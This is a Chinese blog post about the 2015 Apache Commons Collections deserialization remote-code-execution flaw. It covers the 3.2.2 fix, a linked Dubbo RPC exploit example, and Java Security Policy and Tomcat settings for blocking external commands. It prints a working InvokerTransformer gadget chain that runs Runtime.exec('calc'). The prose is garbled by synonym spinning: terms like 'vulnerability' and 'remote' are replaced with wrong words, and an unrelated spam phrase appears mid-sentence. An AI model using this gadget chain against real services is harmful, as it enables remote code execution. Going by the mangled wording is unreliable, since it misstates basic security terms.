update: 2015-11-16
新版apache commons collections 3.2.2修复裂痕
新版本的apache commons collections默认克制了不安详的一些转换类。可以通过进级来修复裂痕。参考release说明:https://commons.apache.org/proper/commons-collections/release_3_2_2.html
Dubbo rpc长途代码执行的例子
update: 2015-11-13
从头思考了下这个裂痕,给出一个dubbo rpc长途代码执行的例子。
https://github.com/hengyunabc/dubbo-apache-commons-collections-bug
可以说许多公司开放的rpc,只要协议里支持Java序列化方法,classpath里有apache commons collections的jar包,都存在被长途代码执行的风险。
至于能不能通过http接口再挪用dubbo rpc长途代码,貌似不太可行。因为信息难以通报。
Apache Commons Collections长途代码执行裂痕
最近出来一个较量严重的裂痕,在利用了Apache Commons Collections的Java应用,可以长途代码执行。包罗最新版的WebLogic、WebSphere、JBoss、Jenkins、OpenNMS这些台甫鼎鼎的Java应用。
这个裂痕的严重的处地址于,纵然你的代码里没有利用到Apache Commons Collections里的类,只要Java应用的Classpath里有Apache Commons Collections的jar包,都可以长途代码执行。
参考:
这个裂痕的演示很简朴,只要在maven依赖里增加
<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
再执行下面的Java代码:
Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" }) }; Transformer transformedChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); innerMap.put("value", "value"); Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain); Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next(); onlyElement.setValue("foobar");
这个裂痕的基础问题并不是Java序列化的问题,而是Apache Commons Collections答允链式的任意的类函数反射挪用。进攻者通过答允Java序列化协议的端口,把进攻代码上传随处事器上,再由Apache Commons Collections里的TransformedMap来执行。
这里差池这个裂痕多做展开,可以看上面的参考文章。
如何简朴的防备Java措施挪用外部呼吁?
从这个裂痕,劳务派遣管理系统,激发了好久之前的一个动机:如何简朴的防备Java措施挪用外部呼吁?
java相对来说安详性问题较量少。呈现的一些问题大部门是操作反射,最终用Runtime.exec(String cmd)函数来执行外部呼吁的。假如可以克制JVM执行外部呼吁,未知裂痕的危害性会大大低落,可以大大提高JVM的安详性。
换而言之,就是如何克制Java执行Runtime.exec(String cmd)之类的函数。
在Java里有一套Security Policy,可是实际上用的人较量少。因为设置起来太贫苦了。
参考:
从文档里可以知道,Java里并没有直接克制Rumtine.exec 函数执行的权限。
克制文件执行的权限在java.io.FilePermission里。假如想克制所有外部文件执行,可以在下面的设置文件中把execute
删除:
grant { permission java.io.FilePermission "<<ALL FILES>>", "read, write, delete, execute"; };
可是Java权限机制是白名单的,尚有一大堆的权限要设置上去,很是巨大。
从tomcat的设置就知道了。http://tomcat.apache.org/tomcat-7.0-doc/security-manager-howto.html
所以Tomcat默认是没有启用Security Policy的,可以通过在呼吁加上-security参数来启用。
catalina.sh start -security
那么有没有简朴的步伐可以在代码里克制Java执行外部呼吁?